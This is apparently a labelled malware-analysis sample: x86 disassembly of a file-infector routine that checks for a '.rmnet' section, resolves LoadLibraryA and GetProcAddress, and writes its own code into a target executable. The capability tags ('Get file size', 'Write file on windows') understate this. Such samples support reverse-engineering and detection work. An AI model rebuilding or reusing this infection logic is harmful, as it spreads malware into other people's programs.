Function at 0x1000678b
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
cmp dword [ebp + 0x10], 0
je 0x1000679d
cmp dword [ebp + 0xc], 0
jne 0x100067a2
jmp 0x100069d9
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x100069d9
mov dword [ebp - 4], eax
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x38], 0
jne 0x100069d1
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call fcn.10001c8e
cmp eax, 0
je 0x100069d1
mov dword [ebp - 0xc], eax
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10005de8
test eax, eax
je 0x100069c8
push str..rmnet
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10005bd4
cmp eax, 0
jne 0x100069c8
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10005a93
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x14]
push dword [esi + 0x40]
pop dword [ebp - 0x2c]
cmp dword [ebp + 0x14], 0
jne 0x1000684d
cmp dword [ebp - 0x2c], 0
je 0x1000684d
jmp 0x100069c8
push str.LoadLibraryA
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10006000
cmp eax, 0
je 0x100069c8
mov dword [0x10007258], eax
push str.GetProcAddress
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10006000
cmp eax, 0
je 0x100069c8
mov dword [0x1000725c], eax
mov eax, fcn.1000749f
sub eax, 0x10006f2c
mov dword [ebp - 0x1c], eax
add eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x34]
push dword [ebp - 0x10]
push str..rmnet
push dword [ebp - 0xc]
call fcn.10005eeb
cmp eax, 0
je 0x100069c8
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x20], eax
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
sub eax, dword [esi + 0x10]
mov dword [0x10007254], eax
push dword [ebp + 0x10]
pop dword [0x1000749a]
mov eax, dword [ebp - 0x20]
sub eax, dword [0x10007258]
mov dword [0x10007258], eax
mov eax, dword [ebp - 0x20]
sub eax, dword [0x1000725c]
mov dword [0x1000725c], eax
push dword [ebp - 0x20]
pop dword [esi + 0x10]
lea eax, [ebp - 0x28]
push eax
call fcn.10001cd1
push 0
push 0
push dword [ebp - 0x3c]
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
mov ebx, 0x10006f2c
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x1c]
push ebx
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
cmp dword [ebp - 0x18], 0
jbe 0x1000695d
push 1
push 0
push dword [ebp - 0x18]
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 4]
call sub.kernel32.dll_SetEndOfFile
cmp dword [ebp + 0x14], 0
je 0x100069c6
cmp dword [ebp - 0x2c], 0
je 0x100069c6
push 0
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call fcn.10001c8e
or eax, eax
je 0x100069c6
mov dword [ebp - 0xc], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x34], eax
lea ebx, [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push ebx
push eax
push dword [ebp - 0xc]
call dword [ebp + 0x14]
or eax, eax
je 0x100069bd
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10005a93
mov esi, eax
push dword [ebp - 0x30]
pop dword [esi + 0x40]
lea eax, [ebp - 0x28]
push eax
call fcn.10001cd1
jmp 0x100069d1
lea eax, [ebp - 0x28]
push eax
call fcn.10001cd1
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
leave
ret 0x10